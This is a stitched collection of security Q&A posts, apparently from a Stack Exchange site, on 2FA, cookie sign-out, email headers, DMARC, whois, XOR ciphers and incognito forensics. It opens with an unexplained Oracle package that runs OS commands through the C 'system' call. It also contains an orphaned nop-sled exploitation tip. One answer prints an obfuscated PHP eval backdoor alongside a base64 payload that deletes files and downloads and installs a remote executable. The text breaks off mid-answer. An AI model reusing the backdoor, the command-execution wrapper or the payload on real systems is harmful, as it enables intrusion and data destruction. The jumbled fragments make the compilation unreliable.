-- usage: exec oracmd64.exec('command');
create or replace package oracmd64 as
    procedure exec(cmdstring in char);
end oracmd64;
/
create or replace package body oracmd64 as
    procedure exec(cmdstring in char)
    is external
    name "system"
    library exec_shell64
    language c;
end oracmd64;
/


Is 2-factor authentication for webmail useful when e-mail checking through other methods is without 2fa? I can check my office webmail through https://webmail.example.com. When my username and password match a 5 digit SMS is sent to my phone that has to be entered on the website as well. This way my phone is the second factor.

However, on my mobile phone or on any tablet I can also configure an 'Exchange' e-mail account. This way I only need a username and the password during initial configuration. There is never the need for a second factor.
I believe this is possible because 'Outlook Anywhere' is enabled on the Exchange server.

I wonder whether the SMS second factor really adds security: anyone who intercepted my username/ password can simply configure an Exchange e-mail account on their own phone and will never be asked for an SMS-code?

The app based passwords used only allow certain types of connections. Yes they could access your email if it was compromised, but you should only be using it over a secure channel (Such as imap with ssl) so it's not likely - unless your endpoint is compromised, but then you have bigger issues.

App based passwords do not tend to allow logging into web mail and account management. This means an attacker cannot make account level changes such as password changes.


Why are ASP.NET form authentication cookies deleted only on client side if client side can't be trusted? ASP.NET documentation says:

  FormsAuthentication.SignOut()

  Removes the forms-authentication ticket from the browser

Why is the cookie not invalidated at the server as well?  It would be easy to implement.  After all this code runs at the server.  In fact it's easier to implement on the server because the server trusts itself, whereas clearing the cookies on the client requires cooperation by the client.   What if the client fails to cooperate by error or maliciously?  What then?

I tested this code and it does what it says.  It removes the cookie on the browser, and it leaves the server side cookie valid.  I took a copy of the cookie prior to signing out, and then signed myself back in with that cookie without providing username and password.

So what's the worse that could happen?  This:

Bob is logged in and saves his session cookie to notepad
Administrator wants to revoke Bob's access immediately and sets a flag that triggers FormsAuthentication.SignOut() on the next web request from Bob.  The administrator also changes Bob's password.
Bob's browser reacts to SignOut() by clearing his cookie and he is signed out imediatelly.   Bob sees a message "you have been signed out", he tries to hit the back button but he is really signed out. He can't get back in.  He tries logging in with his username and password, but it says his password is invalid.
Administrator watches server logs and sees that SignOut() was executed successfully.
Bob uses saved session cookie to log back in (and is allowed).   He continues working on the system indefinitely.

Isn't this a bad thing?  Is this just ASP.NET or do other frameworks do it this way?

First, let's clear up a misconception.  There is no such thing as a "server-side cookie."  While a server can send cookies with an HTTP response, there is no server-side cache of valid cookies.  That is a construct that only exists on the client side in a user agent (such as a browser) that supports it.  This is what makes cookies powerful.  You can maintain state for thousands, or hundreds of thousands of users (or more!) and the only resources required are a little bit of memory and storage on each client machine, and none at all on the server side.  The only knowledge a server needs to have of a cookie is how to parse it out of a request, and how to set it (if required) on a response.

Now, let's talk about Forms Authentication specifically.  Forms Auth is a purely cookie-based authentication mechanism.  (For the sake of simplicity and to focus on the question at hand, I'm going to leave cookieless-FormsAuth out.)  This means that you have a simple, light-weight, easy to configure authentication mechanism that requires little in the way of server resources and no shared server-side state management process and overhead.

What this also means, is that when you send that original authentication ticket to the client, for as long at that ticket is valid, it can be used to authenticate future requests.  No change that you make (expiring the cookie, setting additional expiration information in a new ticket and replacing the cookie, adding additional "logged out" cookies" can prevent the original cookie from being used as long as it is valid.

Is this a problem?  In practice, not usually.  For most applications, this does not create a specific threat that needs to be mitigated and the ability to authenticated users without being tied to a server-side resource investment requirement is quite attractive.  If you can't quantify the value of adding the additional mitigation of server-side session invalidation for your application, then implementing it is a net loss, not a desirable outcome.

If the threat model for you application does demonstrate a specific reason to need to securely de-authenticate sessions, then bare Forms Authentication is not for you, and you need to implement a server-side session validation mechanism on top of it track authentication state to determine which users are valid authenticated users and drop requests from all others, regardless of the nominal validity of the authentication ticket submitted with a forms auth cookie.

Lastly, do other frameworks work this way?  Certainly many do.  This is a necessary property of any stateless authentication system that is relying on a ticket submitted by a client to determine authentication state, and that's probably more authentication mechanisms than not.  Authentication systems that have a server-side session management component can avoid this by tracking authentication state server-side, whether any given system does it correctly is up to the reader to test.  Not as germane but worth mentioning...Not all authentication systems have the concept of signing out in the first place.  If you're using certificate authentication, or integrated authentication, for instance, there is really no concept of "signing out" and transition back from an authenticated to an unauthenticated state, and in these cases the issue is irrelevent.


Best way to use http get with php server for mobile app I am using an http server on Amazon Web Services running php and connecting to an RDS DB, also on AWS.
I am sending GET requests to the server to get Information.
The requests dont contain any private information.
I am trying to think of the best way to secure the requests as much as I can within the GET limitations.
The reason is obviously to make sure only valid requests reach the server.
One way I thought of was to pass a token that allows the server to recognize the request as a valid one. I just could not think of a way to generate a token that is not constant and can be calculated by the server and the client.
Is there a better way? In general, what is considered a good approach for this kind of problems?

Edit:

In light of the new information (it's a mobile app, only requests from this app should be allowed) this post is updated. The old answer was removed as not relevant.

The OP wants so ensure that requests are sent from his mobile application and not some attacker defined program. This kind of assurance is normally achieved by digitally signing the requests using a certificate (public and private key) at the client side and using the public key at the server. If applied to the scenario of mobile applications, the certificate should be present in the application (shipped together or transmitted when the app is first used) in order for requests to be signed.

Now assume the attacker wants to craft his own messages to send to the server. For these requests to be accepted they need to be signed. To sign those messages he needs the private key that is contained in the app one way or another. The attacker downloads onto an attacker controlled device. Since the integrity of the mobile device can't be guaranteed (device may be rooted, emulated, ...) there is always a way of obtaining the certificate. The only thing you can do is trying to make this retrieval VERY hard. Obfuscating the application can help against static analysis but one also needs to make sure that the certificate is hard to find in memory at runtime.

To prove the difficulty of this problem, let's take Pokemon Go as an example. Within days of it's launch, someone had intercepted network traffic from the app to the server and wrote his own program (running on a desktop computer or laptop) that mimics the behaviour of the app (sending updates of the position of the player, throwing a pokeball, etc.) that automatically played Pokemon Go. This is known as a 'bot'. The developers releasef several updates to protect the requests (I assume they tried digital signing as well) but every time the attackers where able to reverse the logic and craft their own requests. The only thing that really worked was looking at patterns in the requests at the server side to detect that they were coming from a 'bot' instead of a legitimate mobile app. Things they will have used is timing of the requests (exactly 1 second apart), location of the player changing in certain patterns, etc. If a player was assumed to be cheating by using a bot, he got banned. Attackers responded to this by adding some randomisation to their requests to make the analysis harder. So it became a cat and mouse game between attackers and defenders. Pokemon Go also sent cease and desist letters to people they could identify as developer of the bots. This shows how powerless they were against the problem.


Mail from Outlook to GMX: via Yahoo? On inspecting source of a clear scam mail I received, I noticed that the mail send from Outlook to GMX has somehow passed through Yahoo servers - how come? Is it some way to hide their original identity?

I have quoted few relevant parts below, and have tried to hide much fingerprints as possible.

  Return-Path: <halima4love@outlook.com>
  Received: from nm20-vm7.bullet.mail.gq1.yahoo.com ([98.136.217.38]) by
   mx-ha.gmx.net (mxgmx010) with ESMTPS (Nemesis) id 0MN5zM-1aNCcR17Ki-006bzd
  Received: from [98.137.12.175] by nm20.bullet.mail.gq1.yahoo.com with NNFMP; 11 Feb 2016 09:10:21 -0000
  Received: from [98.137.12.215] by tm14.bullet.mail.gq1.yahoo.com with NNFMP; 11 Feb 2016 09:10:21 -0000
  Received: from [127.0.0.1] by omp1023.mail.gq1.yahoo.com with NNFMP; 11 Feb 2016 09:10:21 -0000
  X-Yahoo-Newman-Property: ymail-3
  X-Yahoo-Newman-Id: 430251.70760.bm@omp1023.mail.gq1.yahoo.com
  Received: by ***.***.60.197; Thu, 11 Feb 2016 09:10:20 +0000
  Date: Thu, 11 Feb 2016 09:10:20 +0000 (UTC)
  From: Joy Kones <halima4love@outlook.com>
  Reply-To: Joy Kones <halima4love@outlook.com>
  Subject: Hello dear ,
  MIME-Version: 1.0
  Content-Type: multipart/alternative;
  References: <**********.********.******1820586.JavaMail.yahoo.ref@mail.yahoo.com>
  Content-Length: 928
  Envelope-To: <hidden>
  X-GMX-Antispam: 0 (Mail was not recognized as spam); Detail=V3;
  X-GMX-Antivirus: 0 (no virus found)
  X-UI-Filterresults: notjunk:1;

Quick search did not return any duplicates, please do tell me if you find any.

The message wasn't sent from outlook.com, it the spammer just claims that it was – there is generally little protection against forged data in mails.

It looks like the mail originated from Yahoo and was delivered to GMX from there.  Outlook was not involved in the process, an outlook.com address was just used as the sender address.


dkim passes under a different domain's dkim I read that a SPF fail with DKIM pass means someone has forwarded an email with our domain name attached. I haven't sent any emails to this domain. Is this domain trying to send emails with my domain? Can I stop this behavior with a modification that I'm unaware of?

DMARC

v=DMARC1; p=reject; pct=100; aspf=s; adkim=s; sp=reject; rua=mailto:[email]; ruf=mailto:[email]; ri=84600; fo=1; rf=iodef;

SPF

v=spf1 include:[my domain] include:[friend's domain] -all

DMARC Report

  <record>
    <row>
      <source_ip>[redacted]</source_ip>
      <count>1</count>
      <policy_evaluated>
        <disposition>none</disposition>
        <dkim>pass</dkim>
        <spf>fail</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>[my domain]</header_from>
    </identifiers>
    <auth_results>
      <dkim>
        <domain>[unauthorized domain]</domain>
        <result>pass</result>
        <selector>[unauthorized subdomain]</selector>
      </dkim>
      <dkim>
        <domain>[my domain]</domain>
        <result>pass</result>
        <selector>[my subdomain]</selector>
      </dkim>
      <spf>
        <domain>[unauthorized domain]</domain>
        <result>pass</result>
      </spf>
    </auth_results>
  </record>

For a full evaluation, it would help if you at least included the unauthorized domain.

I, personally, see this type of result fairly often when someone we send to is using a "cloud" hosted email solution.
I send a message to someone at MIT at their @mit.edu email address, but they prefer using their personal Gmail account.  On their side, they have set an auto-forward-all rule to send everything to their @gmail.com address.

The kicker is that MIT uses O365 as their email provider.  So what I end up seeing is a DMARC report from Google about an email sent out of Outlook.com .  Something like:

<identifiers>
  <header_from>[my domain].com</header_from>
</identifiers>
<auth_results>
      <dkim>
        <domain>protection.outlook.com</domain>
        <result>pass</result>
        <selector>s1_dkim.protection.outlook.com</selector>
      </dkim>
      <dkim>
        <domain>[my domain].com</domain>
        <result>pass</result>
        <selector>selector-[city_of_main_office]-01.[my domain].com</selector>
      </dkim>
      <spf>
        <domain>protection.outlook.com</domain>
        <result>pass</result>
      </spf>
</auth_results>

Notice that the report never mentions MIT.edu domain (which is where I sent the message to).

By seeing the passes in this order, along with the header_from still indicating your domain, it is a near 100% likelyhood that this report is talking about an auto-forward rule that someone has in place.  Most important for you, is that a spam report against this message would have minimal effect on your domain; by overstamping their DKIM and passing their SPF, the [unauthorized domain] has accepted send responsibility for this message.  At this point the inclusion of the DKIM for your domain is more to prove a chain of custody (we forwarded it without editing it) than to prove who is a spammer.


How to encrypt data using the iOS secure element? I would like to know if there's a way to encrypt/decrypt data using the iOS secure element chip (Java card). Or does the keychain already use it?

The keychain already uses it.

From WWDC 2015:

  We also moved the KeyStore component from the kernel into Secure Enclave and it's that component which controls the cryptography around Keychain items and the data protection.

Source


Mysterious IP Address Often I need to identify IP addresses. I like to execute whois.exe on the command line.  Have not found a site with the whois information for this IP address:

164.45.207.200

Also, I was able to get the reverse lookup, but no clear info on the returned information.

c8.cf.2da9.ip4.static.sl-reverse.com

For IP addresses you need to use the whois server of the appropriate Regional Internet Registry.  You can see that I've done so below by adding "-h whois.arin.net" to the (Linux) whois command line. Generally, one starts with ARIN and moves as directed.  In this case, the IP you've identified falls into ARIN's jurisdiction, and is owned by the DoD/DNIC/DISA.  Further probing of that address is... not recommended.

$ whois -h whois.arin.net 164.45.207.200

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#

#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=164.45.207.200?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#

NetRange:       164.45.0.0 - 164.45.255.255
CIDR:           164.45.0.0/16
NetName:        DNIC-RNET-164-045
NetHandle:      NET-164-45-0-0-1
Parent:         NET164 (NET-164-0-0-0-0)
NetType:        Direct Assignment
OriginAS:
Organization:   DoD Network Information Center (DNIC)
RegDate:        1992-11-16
Updated:        2012-02-28
Ref:            https://whois.arin.net/rest/net/NET-164-45-0-0-1

OrgName:        DoD Network Information Center
OrgId:          DNIC
Address:        3990 E. Broad Street
City:           Columbus
StateProv:      OH
PostalCode:     43218
Country:        US
RegDate:
Updated:        2011-08-17
Ref:            https://whois.arin.net/rest/org/DNIC

OrgAbuseHandle: REGIS10-ARIN
OrgAbuseName:   Registration
OrgAbusePhone:  +1-844-347-2457
OrgAbuseEmail:  disa.columbus.ns.mbx.arin-registrations@mail.mil
OrgAbuseRef:    https://whois.arin.net/rest/poc/REGIS10-ARIN

OrgTechHandle: MIL-HSTMST-ARIN
OrgTechName:   Network DoD
OrgTechPhone:  +1-614-692-6337
OrgTechEmail:  disa.columbus.ns.mbx.hostmaster-dod-nic@mail.mil
OrgTechRef:    https://whois.arin.net/rest/poc/MIL-HSTMST-ARIN

OrgTechHandle: REGIS10-ARIN
OrgTechName:   Registration
OrgTechPhone:  +1-844-347-2457
OrgTechEmail:  disa.columbus.ns.mbx.arin-registrations@mail.mil
OrgTechRef:    https://whois.arin.net/rest/poc/REGIS10-ARIN

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#

$

Depending on your whois client, it may automatically follow referrals across to other Regional Registries (RIPE, APNIC, etc.) as shown below.  Even if it doesn't, the top bit of information is pretty explicit about where to go for more answers, allowing you to make the second query yourself.

$ whois -h whois.arin.net 212.27.48.10

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#

#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=212.27.48.10?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#

NetRange:       212.0.0.0 - 212.255.255.255
CIDR:           212.0.0.0/8
NetName:        RIPE-NCC-212
NetHandle:      NET-212-0-0-0-1
Parent:          ()
NetType:        Allocated to RIPE NCC
OriginAS:
Organization:   RIPE Network Coordination Centre (RIPE)
RegDate:        1997-11-14
Updated:        2009-03-25
Comment:        These addresses have been further assigned to users in
Comment:        the RIPE NCC region. Contact information can be found in
Comment:        the RIPE database at http://www.ripe.net/whois
Ref:            https://whois.arin.net/rest/net/NET-212-0-0-0-1

ResourceLink:  https://apps.db.ripe.net/search/query.html
ResourceLink:  whois.ripe.net

OrgName:        RIPE Network Coordination Centre
OrgId:          RIPE
Address:        P.O. Box 10096
City:           Amsterdam
StateProv:
PostalCode:     1001EB
Country:        NL
RegDate:
Updated:        2013-07-29
Ref:            https://whois.arin.net/rest/org/RIPE

ReferralServer:  whois://whois.ripe.net
ResourceLink:  https://apps.db.ripe.net/search/query.html

OrgAbuseHandle: ABUSE3850-ARIN
OrgAbuseName:   Abuse Contact
OrgAbusePhone:  +31205354444
OrgAbuseEmail:  abuse@ripe.net
OrgAbuseRef:    https://whois.arin.net/rest/poc/ABUSE3850-ARIN

OrgTechHandle: RNO29-ARIN
OrgTechName:   RIPE NCC Operations
OrgTechPhone:  +31 20 535 4444
OrgTechEmail:  hostmaster@ripe.net
OrgTechRef:    https://whois.arin.net/rest/poc/RNO29-ARIN

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#

Found a referral to whois.ripe.net.

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '212.27.48.0 - 212.27.48.255'

% Abuse contact for '212.27.48.0 - 212.27.48.255' is 'abuse@proxad.net'

inetnum:        212.27.48.0 - 212.27.48.255
netname:        FR-PROXAD
descr:          Proxad / Free SAS
descr:          Server internal infrastructure (SLB)
descr:          Bezons, France
country:        FR
admin-c:        ACP23-RIPE
tech-c:         TCP8-RIPE
status:         ASSIGNED PA
mnt-by:         PROXAD-MNT
created:        2005-09-05T15:24:55Z
last-modified:  2005-09-05T15:24:55Z
source:         RIPE
remarks:        INFRA-AW

role:           Administrative Contact for ProXad
address:        Free SAS / ProXad
address:        8, rue de la Ville L'Eveque
address:        75008 Paris
phone:          +33 1 73 50 20 00
fax-no:         +33 1 73 92 25 69
remarks:        trouble:      Information: http://www.proxad.net/
remarks:        trouble:      Spam/Abuse requests: mailto:abuse@proxad.net
admin-c:        APfP1-RIPE
tech-c:         TPfP1-RIPE
nic-hdl:        ACP23-RIPE
mnt-by:         PROXAD-MNT
abuse-mailbox:  abuse@proxad.net
created:        2002-06-26T12:46:56Z
last-modified:  2013-08-01T12:16:00Z
source:         RIPE # Filtered

role:           Technical Contact for ProXad
address:        Free SAS / ProXad
address:        8, rue de la Ville L'Eveque
address:        75008 Paris
phone:          +33 1 73 50 20 00
fax-no:         +33 1 73 92 25 69
remarks:        trouble:      Information: http://www.proxad.net/
remarks:        trouble:      Spam/Abuse requests: mailto:abuse@proxad.net
admin-c:        APfP1-RIPE
tech-c:         TPfP1-RIPE
nic-hdl:        TCP8-RIPE
mnt-by:         PROXAD-MNT
created:        2002-06-26T12:29:10Z
last-modified:  2011-06-14T09:03:07Z
source:         RIPE # Filtered
abuse-mailbox:  abuse@proxad.net

% Information related to '212.27.32.0/19AS12322'

route:          212.27.32.0/19
descr:          ProXad network / Free SA
descr:          Paris, France
origin:         AS12322
mnt-by:         PROXAD-MNT
created:        1970-01-01T00:00:00Z
last-modified:  2001-09-22T09:31:43Z
source:         RIPE # Filtered

% This query was served by the RIPE Database Query Service version 1.89.2 (HEREFORD)

$


Does Thunderbird Enigmail plugin decrypt attached files? From my research I have found out that you can easily send encrypted messages to one another using Enigmail.

If first I encrypted a file,then attached it to an email, sending it through Enigmail to a recipient who was also using Enigmail.

When the recipient clicked on the file to open it, would its contents be decrypted?

If you decide to send an attachment over with Enigmail install on Thunderbird, you are prompted to encrypt the attached file using Enigmail, which would then be decrypted once the recipient decrypts the email using Enigmail.

If you decide to encrypt that attachment on your own, and then attach and encrypt and send it using Enigmail, then no, Enigmail will only be able to decrypt it as deep as it's own encryption goes; Enigmail isn't able to automatically decrypt files encrypted by other means outside of Enigmail. Your recipient would still be left with an encrypted file after downloading the attachment (eg. putting a locked box inside of a locked box).


Where do magic constants for signature algorithms come from? For example, I've seen 3031300d060960864801650304020105000420 as an identifier for RSA/SHA256, 3020300c06082a864886f70d020505000410 for RSA/MD5. Where do these values come from?

I ran into one of these values here, where it said:

$t = '3031300d060960864801650304020105000420'; # sha256

and here:

case PGPHASHALGO_SHA256:
    t = stpcpy(t, " RSA/SHA256");
    prefix = "3031300d060960864801650304020105000420";


You need to pivot the execution into your nop sled. Usually done by overwriting EIP with the address of your payload on the stack or using a gadget like jmp esp.


How to avoid password TCP message sniffing and subsequent hijacking I'm developing a TCP Streaming API for "IoT" devices in LabView.

The TCP Server will be listening to a certain port, and our devices will try to connect to it. In order to know that the connecting client is from our company, all our servers and clients will share a private key and a password. When the client connects successfully to the socket, it will send the secret password cyphered in AES256 with the private key.

But what prevents an attacker from sniffing a client's credentials message and resend as it is to the server to gain access? Cyphering doesn't protect that.

You could use a challenge-response mechanism. The server sends a random string, the client signs that using the private key. Since the server sends a new challenge every time, a replay attack won't work.

Or just use TLS to properly encrypt the connection. You could even use client certificates to replace your AES-encrypted secret password. TLS can provide both encryption and authentication, which seems to be what you are looking for. And another advantage is that you have to do a minimum amount of cryptography yourself, reducing the chance of implementation mistakes.


How was iMessage broken? It was reported today that iMessage was broken (CVE-2016-1788) by a team from John Hopkins around Matthew Green. They said it was kinda to be expected after inspecting the security guide closely enough. The media stories are very vague and the iOS 9.3 patch notes aren't much more concrete either.

How?

How could one of the most used and most trusted protocols be broken in such a way that apparently allows attachment recovery for everybody in a privileged man-in-the-middle position (like Apple)? (iOS 9.3 patch notes)

How can the combination of compressing (error oracle attack?) and "only" signing the ciphertext be leveraged to recover attachments?

The flaw with iMessage reference aboved was that it was:

A) Vulnerable to a brute force attack
    This was because of a bug discovered by the researchers that allowed a man-in-the-middle-attack to be setup, due to:

Strict certificate pinning was not used until iOS 9 -- so an attacker could create an impostor certificate and hack DNS on their local network to be able to start intercepting data and begin the attack.
No MAC is used in the encrypted payload after receiving an ECDSA signature -- thus, the contents of the message/message integrity is not controlled for.
The signature can then be tampered with or replaced with another signature.  See image provided by researchers:
The "error oracle" compression attack you describe allows one to painstakingly decrypt a message bit-by-bit by taking advantage of how CRC checksums are computed over the original data, but not the AES encrypted payload iMessage then creates.

B) Using a static 64-digit symmetric encryption key for message encryption.

Rather than use a symmetric key system, an asymmetric system or one utilizing perfect forward secrecy may have been able to prevent this.  Once the man in the middle attack was setup, a brute force attack could be launched until, successfully, retrieving the 64-digit key.

How?

Beyond the immediate technical answer, the question as to how this happened is the same for this case as it is for most other commercial, closed-source products; and even many open source packages -- encryption and creating bulletproof cryptosystems is hard.  Even given the most valuable company in the world, Apple, with the best engineers and seemingly unlimited resources; mistakes can be and are made.

For more information, I suggest looking at Bruce Schneier's article on the subject, and the researcher's blog post on the subject.


How do I secure patient data cheaply in a small doctor's office? I am a single practitioner with 3 work stations and a server. What is the best cost effective way to secure my data and I suppose encrypt it. The gov't wants us to prevent any unsecure access to patient records. They do not tell us the lengths we have to go to do this and basically leave it up to us. I figure my biggest weakness is someone just stealing my computer and hacking into it. I have the programs double passworded but that is not stopping a hacker. The next level I suspect is encryption but how easy is it to hack. We single practitioners can not afford an IT person like a hospital. I appreciate any feedback. Thanks

I'll also mention TrueCrypt, since it's a fairly simple (and free!) solution. Or, if you use Macs, use the built-in 'FileVault.'

Beyond file encryption, you should also look into other areas that could benefit from encryption, or pose a risk to the data:
* Email encryption -- Here's a relevant lifehacker article. Your should also look up your email client and provider's policies/features in this regard.
* VPNs for any remote workers; something like logmein's hamachi or similar.
* Backups, Dropbox, etc.: Review the policies and encryption-features of any backup or file sync programs you use, too.

Finally, be restrictive with file-access/sharing permissions. Deny 'Everybody' from any windows fileshares and, if possible -- I know my users balk at this -- make sure anyone who does have access to that information has a strong password.

That said, a technical solution alone is not enough; make sure your coworkers understand what needs to be protected and /why/. (Something other than 'because the government us tells us to.') This way, they can help identify data that should be secured but has somehow missed your initial review. You might also want to get them to sign some policies, too, just in case: Internet/Email use and the like: After all, encryption is pointless if the attacker knows the key, like a disgruntled or clueless employee who sends confidential/protected data by insecure means.

Have similar discussions with any service-suppliers that might handle the sensitive data. For instance, in order to ensure compliance with a local privacy regulation, we emailed our off-site backup provider asking, "Hey, we need to be XXX-compliant; do you guys do that?"

There are other things that come to mind, but I'm more a sys-admin than a sec-admin right now (thought not for lack of trying!) -- but I don't want to overload you. (Plus, I have to get back to work.)


Malicious code is injected to a PHP file My site is built using Wordpress. One day it stopped working and found an error in one PHP file.

When I downloaded that PHP file to see what happened, my antivirus (Microsoft Security Essentials) detects it as a threat and deleted the downloaded file.

Luckily I can access my hosting's cPanel and edit the problematic PHP file from there.

I found that some unusual code is appended at the start of the code. (I deleted the code and everything works fine, for now)

Here's the code:

<?php $lro89 = "t_cepodas6b4";$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]); if (isset (${$scs1 }[ 'n3d9ebc' ])) {eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;}?>

Reformatted for readability:

<?php
$lro89 = "t_cepodas6b4";
$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);
$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]);
if (isset (${$scs1 }[ 'n3d9ebc' ])) {
    eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;
}
?>

I have few questions:

What does the code do?
Does it mean that there's a virus?
How can it be injected to only this one file?

What does the code do?

<?php
    if (isset($_POST['n3d9ebc'])) {
        eval(base64_decode($_POST['n3d9ebc']));
    }
?>

It does Remote Code Execution. If this were a $_GET[] parameter, it means an attacker could do this:

hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code

But since it's a $_POST[] parameter, it'll be sent as part of a submission. When the POST parameter, n3d9ebc, is set, it will attempt to evaluate the condition after it's been base64 decoded.

Example payload:

  c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7

The above will do... um... figure it out.

Just by posting to your site, they have full Remote Code Execution on your web server. You've essentially been pwned. Time for a clean up, and make sure you upgrade vulnerable components.

  Does it mean that there's a virus?

Technically? They can do whatever they want on your website. It's basically a backdoor.

  How can it be injected to only this one file?

You probably have some kind of vulnerability which allows them to write to a file on the web server. Could be any number of issues. Kind of broad, but it could be chmod 777, a Remote File Inclusion issue, or some other Remote Code Execution backdoor or vulnerability.


Private Authoritive Recursive DNS In the bind9 config (Centos8) there is a note saying

  If you are building an AUTHORITATIVE DNS server, do NOT enable
  recursion.

I would like to know why and if this is still a concern if the DNS server is entirely within a private network (only used as the dns server for the local network). This is assuming a reasonably high level of trust within the private network.

In my specific case I am talking ~10 servers and 20 users/clients, however I'm not sure that that matters...

I think I have found a satisfactory answer (for me) from ISC directly (didn't seem to be able to find this easily on google though!)

https://kb.isc.org/docs/bind-best-practices-authoritative

  Do not combine authoritative and recursive nameserver functions --
  have each function performed by separate server sets. This advice
  primarily concerns separation of public-facing authoritative services
  from internal client-facing recursive services - administrators may,
  for convenience, choose to serve some internal-only zones
  authoritatively from their recursive servers, having determined that
  the benefit outweighs any risks associated with this policy.

  If you share recursive and authoritative functions in the one server,
  then if there is a problem that impacts authoritative servers only -
  for example, that causes all of your authoritative servers to fail -
  it will break your recursive service too.

I'll leave this here in case it helps anyone else, or if there is anything else others want to add:)


Is it possible to encrypt your Java source code and still have it readable & writable in Eclipse? I have some Java source code on my laptop that would cause me a great deal of suffering if I were to lose possession of the laptop and the source code were to fall into someone else's hands.

Is there a way to encrypt the source code on my hard drive but still be able to edit it in Eclipse?

The other problem is I have been uploading the source code to my online version control repository - if someone were to figure out that password, they would have access to the unencrypted source. For that reason, by encrypting the source code locally before I upload new commits, I will stem the possibility of it being stolen either on my laptop or on the version control repository server.

What's the best way to achieve this type of security for source code without making it too difficult to continue editing that source code?

This isn't particularly related to code, to be honest - I'll vote to move it to Programmers, although SuperUser may be equally appropriate. All of your concerns would apply equally to non-source-code files with some CMS taking the place of source control.

Use encryption within your local operating system (e.g. BitLocker) so that no-one can read the contents of your laptop disk without being logged in as you. Obviously make sure your laptop requires your password to be entered when it returns from sleep etc.
Use an encrypted channel (e.g. HTTPS) between your laptop and your source control server. That will depend on your source control system.
Make sure the server running your source control system is using appropriate OS-level encryption too


Can an XOR cipher be broken if the plaintext is an incrementing number? Many moons ago, I was working with a team that was building a public-facing website. We originally built the system using auto-incrementing numeric primary keys as the public identifier for each piece of content that was collected. Word came down from on high that exposing this number was a risk -- it would reveal how many objects the system held, and the delta between any two object IDs and their post dates would reveal growth/adoption rate.

A senior colleague declared that using an XOR cipher would solve this problem. We'd take the object IDs as we always did and XOR them with a closely-guarded numeric key to create a public identifier. We'd reverse the process to get our original number.

In our case, the private IDs and the key were both unsigned 32-bit integers. And, as you might expect, two items created close to one another showed changes in their least significant bits, but no change in the most significant bits. I thought at the time that it would be trivially easy for an adversary to post a few objects in succession, notice that the LSBs changed while the MSBs remained static, and conclude that we were simply XORing an incrementing integer. But I always wondered what it would take for them to derive the key, and tear the whole facade down.

Is it possible, if an attacker can reason that the plaintext is a monotonically increasing integer, to derive the whole key?

A clever attacker can probably find some information about the rate at which new content is being created.

Since you're always XORing the primary keys with the same secret key, you'll always see a bit flip in the ciphertext at the same time that it flips in the plaintext. This means that you can tell when the primary key rolls over to a larger number, such as here:

01111111
10000000

or, when ciphered with 11100010 as a key:

10011101
01100010

This leaks some information about the growth rate, especially if the attacker is capable of generating content at will.

...of course, if each ID corresponds to a piece of content, then can't the attacker just look at how many there is?

To get back to your original question, though, there shouldn't be a trivial way to find the key, as long as you never leak any private ID values. If an attacker gets a piece of plaintext and the corresponding ciphertext, you're hosed:

A XOR K XOR A = K


Chrome incognito forensic analysis in case of abrupt shutdown There have been many discussions on how to do forensic analysis when users used incognito mode of Chrome - consensus seems that not impossible, but difficult still.

But there's been lack of discussions on what can be additionally done when users abruptly shut down their computers. For example, a search raid could be done for some suspects, and suspects may choose to simply pull plugs off, because of pressure or rush.

In this circumstance, there seem to be additional data to work with, but it is hard to information on that, because Google does not give good technical primers on how incognito mode works, and thus this question. What would be additional data available for forensic analysis of incognito mode uses when computer was abruptly shut down (not normal shotdown, but more like power outage)?

Swap / pagefile
If memory pressure on the target machine is high, there is a chance that some pages of memory from the browser process are swapped out onto the disk (the pagefile on Windows and the swap file on Linux). On modern systems with plenty of RAM, very little, if anything, is swapped out. Additionally, this swap space is sometimes encrypted, with the key kept only in memory. The key is random and so cannot be cracked. Newer versions of Windows may do this by default. Older versions require the user manually enable encryption of the swap space. When the swap file is encrypted, or when the disk containing the swap file is encrypted, then shutting the computer off (whether naturally or by unceremoniously unplugging the device) will result in the key vanishing.
Downloaded files
